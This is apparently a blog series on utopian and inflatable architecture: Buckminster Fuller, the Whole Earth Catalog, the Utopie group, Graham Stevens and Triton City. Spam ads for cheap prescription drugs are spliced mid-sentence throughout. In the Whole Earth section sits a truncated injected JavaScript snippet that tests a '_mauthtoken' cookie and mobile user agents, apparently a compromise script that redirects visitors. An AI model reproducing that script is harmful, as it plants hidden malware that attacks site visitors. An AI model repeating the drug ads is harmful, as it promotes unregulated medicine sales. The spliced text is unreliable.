tendencies to…

Lost Utopia is about Stephanie Treinen’s interest in Buckminster Fuller.
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Lesson / Koan : Fads fade.

The poster explains itself.

BTW,

NOTE :

Treinen’s focus for this project is on societies tendencies to abuse utopian ideas Are you in need of cheap Cyklokapron, but unable to find it? Buy in for just 2.9 right here! such as peace and sustainability as fads, and not as rules to genuinely live by.

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merely attuned…

The Whole Earth Catalog did for counterculture youth in the ’60s what the Sears Catalog did for children of the Great Depression and what Google does for people of the Internet age: provide a way for ordinary people to connect with and make use of the global economy.

Whole Earth Catalog, March 1970.

Lesson / Koan : Collectively Catalogue.

Brainchild of the visionary techno-hippie artist Steward Brand, this compendium of resources for the New Age is the subject of “Access to Tools: Publications From the Whole Earth Catalog, 1968-1974,” a modest but stirring time capsule of an exhibition at the Museum of Modern Art continues through July 26, 2011.

BTW,

An ad for the Whole Earth Catalog described it as “a traditional instrument no more radical than Sears Roebuck and Consumer Reports, merely attuned to a new market, the sub-economy of dope and rock.”

Whole Earth Catalog cover, 1968.

In 1968, Stewart Brand founded an alternative information service and distribution system within a single publication, called the Whole Earth Catalog. Influenced by the work of Buckminster Fuller, the catalog developed into an extensive reference tool for designing the environment, living spaces, and new media practices.

Brand’s goals were to make a variety of tools accessible to newly dispersed counterculture communities, back-to-the-land households, and innovators in the fields of technology, design, and architecture, and to create a community meeting-place in print. The catalogue quickly developed into a wide-ranging reference for new living spaces, sustainable design, and experimental media and community practices. After only a few years of publication it exploded in popularity, becoming a formidable cultural phenomenon.

WHOLE EARTH BIBLIOGRAPHY

The Last Supplement to the Whole Earth Catalog, 1971.

After a two-year hiatus, Stewart Brand reassembled a publishing team in 1973 and updated the contents of The Last Whole Earth Catalog, of 1971. The catalog had received the National Book Award in 1972, and significant demand still existed for Whole Earth material. The updated last issues of the catalog are its most recognized iterations, and over two million copies were sold.

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Friends and Relations

Communes, USA, special issue, The Modern Utopian 5, no. 1/2/3 (1971).

The Whole Earth Catalog and its supplements regularly featured the organization’s dialogue with colleagues who shared and expanded upon its areas of focus. These publications, many borrowing the Whole Earth Catalog format, were often listed in its Community section.

Bernard Rudofsky. Architecture without Architects (Museum of Modern Art, 1964).

Also, MoMA’s International Council funded Bernard Rudofsky’s research, which resulted in an exhibition at the Museum and this publication, surveying unique forms in human habitats throughout history and across cultures. The editors of the  Don’t waste your time looking for affordable Lasix deals anymore, because you’ve found it – buy your medicine for 0.35 USD now! Whole Earth Catalog made an effort to incorporate non-Western forms and organic design into the dialogue about new ideas for living spaces.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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too heavy…

Jean-Paul Jungmann was one of the avant-garde architects that experimented with inflatable architecture, structures and furniture in between the 1960s and 1970s.

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Lesson / Koan : Live on the LEFT.

Jean-Paul Jungmann lead the creation of the group UTOPIE, with Jean Auberg and Antoine Stinco in collaboration with sociologist Hubert Tonka, Jean Braudillard and others, developing the formulation of radical critiques for architecture, urbanism and every day life in French society during those years.

BTW,

The group UTOPIE published the eponymous journal UTOPIE – Architecture as a theoretical problem from 1967 to 1969.

For additional information reference the book –The inflatable moment: pneumatics and protest in ’68.

The Utopie architects drew on technical and aesthetics sources as diverse as Buckminster Fuller, research by the American military, the London group Archigram, and American comic books, and were inspired by the political and philosophical writings of Henri Lefevre. In their work they presented a vision for a built world in which buoyancy, ephemerality and mobility would replace the inertia and repression that they believed characterized architecture & urbanism. ( Architecture is Heavy, man!…Lighten up. )

DYODON – UNE HABITATION PNEUMATIQUE EXPERIMENTALE juin 1967, 2ème version.

The first issue of Utopie, “the review that considers urbanism as a social science”, opened with a nihilist “presentation” made up of tree blank pages.  In this issue is where Braudillard wrote, “the privilege of the avant-garde connotes ideologically the cult of the ephemeral.” And all Jungmann’s projects are exactly this: a cult of the ephemeral.

NOTE :

The Utopie group was born in 1966 at Henri Lefebvre’s house in the Pyrenees.

Utopia Deferred collects all of the essays Jean Baudrillard published in Utopie as well as recent interviews with Jean Baudrillard and Hubert Tonka.

Utopie served as a workshop for Baudrillard’s thought. Many of the essays he first published in Utopie were seminal for some of his most shockingly original books: For a Critique of the Political Economy of the Sign, The Mirror of Production, Simulations, Symbolic Exchange and Death, and In the Shadow of the Silent Majorities.

Over the next decade, both in theory and in practice, the Utopie  There are a lot of frauds claiming that they sell quality Norvasc for cheap prices, but we offer high quality Norvasc for 0.43 USD. Don’t believe this ad? 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extension of…

Commissioner by the Arts Council of Great Britain, the film Atmosfields ( 1969-1970 ) brings together a great number of architect Graham Stevens’ projects making use of inflatables.

A few years later, Graham Stevens produced “Desert Cloud” ( 1972 ), a project flying in the Arabian desert, filmed in Kuwait.

"Desert Cloud" ( 1972 ), by Graham Stevens.

Almost no remaining information exists on this project.

Lesson / Koan :

Graham Stevens work rejects the idea of architecture as something static and explores the interaction between human and the invisible environments surrounds them daily.

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Sketch by Graham Stevens.

Stevens’ produced the first inflatable structures which appeared in the early James Bond films.

BTW,

The ideas of Walking on Air and Walking on Water offer a perfect expression off a new relationship to the environment, the plastic membrane in both cases becoming an extension of the living body. But such inflatable structures do not only interrogate the individual’s relationship with the natural environment, but they also establish a new internal gravity system.

NOTE :

Buckminster Fuller and Shoji Sadao project for "Floating Cloud Structures (Cloud Nine)", ca. (1960). Black-and-white photograph mounted on board. 15 7/8 x 19 3/4 in. (40.3 x 50.2 cm).

Partially inspired by the incipient space program, the utopian architecture of the 1960s yielded visions of floating communities hovering among the clouds. Buckminster Fuller and Shoji Sadao created such a concept, entitled “Project for Floating Cloud Structures (Cloud Nine) in 1960.” Fuller’s imaginary floating sphere-enclosed cities are given a sense of feasibility through technical explanations that would seem to render them possible. The visionary architect drafted plans in the early sixties for spheres that would hover above the earth and hold several thousand “passengers.”

Brief BIO on – Shoji Sadao

Currently Executive Director of the Isamu Noguchi Foundation, Inc., architect Shoji Sadao collaborated with both R. Buckminster Fuller and Isamu Noguchi on many important projects. Sadao met Fuller while studying architecture at Cornell University. In 1965 they formed Fuller and Sadao, P.C., whose first project was the large geodesic dome for the U.S. Pavilion at EXPO 67 in Montreal. Fuller introduced Sadao to sculptor Isamu Noguchi and the pair worked on garden and landscape projects in the 1960s. In 1971 they formed Noguchi Fountain and Plaza, Inc., which completed the sculptor’s Philip A. Hart Plaza and Horace E. Dodge and Son Memorial Fountain in Detroit.

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result in…

It was dubbed Don’t waste your time searching for cheap Compazine! You can buy it for $0.46 right now! Triton City Don’t know where you should look for an affordable Benicar deal? Rejoice and shine, because Benicar is available at our store for 0.64 USD! and was intended to be a floating utopia for up to 5,000 residents.

Buckminster Fuller, Model of Triton City, 1967 - 20 1/2 x 49 1/2 x 44 5/8 inches National Archives & Records Admin. Lyndon Baines Johnson Library & Museum Photograph © Bob Daemmrich.

Buckminster Fuller’s giant, floating city was designed to encourage people to share resources and conserve energy.

Lesson / Koan : A triangle is a non-deformable shape.

Fuller was initially commissioned by a wealthy Japanese patron to design a floating city for Tokyo Bay. The Japanese patron died in 1966, but astoundingly enough, the United States Department of Urban Development commissioned Fuller for further design and analysis. His designs called for the city to: be resistant to tsunamis, provide the most possible outside living, desalinate the very water that it would float in for consumption, give privacy to each residence, and incorporate a tetrahedronal shape which provides the most surface area with the least amount of volume. Everything from education to entertainment to recreation would be a part of the city. Fuller also claimed that the low operating costs would result in a high standard of living.

Triton was a concept for an anchored floating city for 100,000 people that would be located just offshore and connected with bridges to the mainland. The complete design report was prepared by R. Buckminster Fuller (1895-1983) and his Triton Foundation staff for the U. S. Department of Housing and Urban Development.

BTW,

The United States Office of Housing and Urban Development ( HUD ) eventually sent the plans to the U.S. Navy where they were dissected and analyzed even further. The city of Baltimore, upon hearing of the project, became interested and petitioned to have Triton City moored off of its shores in Chesapeake Bay. However, as municipal and federal administrations changed, the project languished and was never brought to light. Today, there are derivatives of Triton City, such as the artificial island Kansai and its airport in Osaka, Japan, but they pale in comparison to the scope of Triton City.

NOTE :

“Three-quarters of our planet Earth is covered with water, most of which may float organic cities…Floating cities pay no rent to landlords.” – Buckminster Fuller

“The secretary of HUD sent the drawings, engineering studies, and economic analysis to the Secretary of the Navy, who ordered the Navy’s Bureau of Ships to analyze the project for its ‘water-worthiness.’ stability, and organic capability. The Bureau of Ships verified all our calculations and found the design to be practical and ‘water-worthy.’ The Secretary of the Navy then sent the project to the US Navy’s Bureau of Yards and Docks, where its fabrication and assembly procedures and cost were analyzed on a basis of the ‘floating city’ being built in a shipyard as are aircraft carriers and other vessels. The cost analysis of the Navy Department came out within 10 percent of our cost.” – Buckminster Fuller

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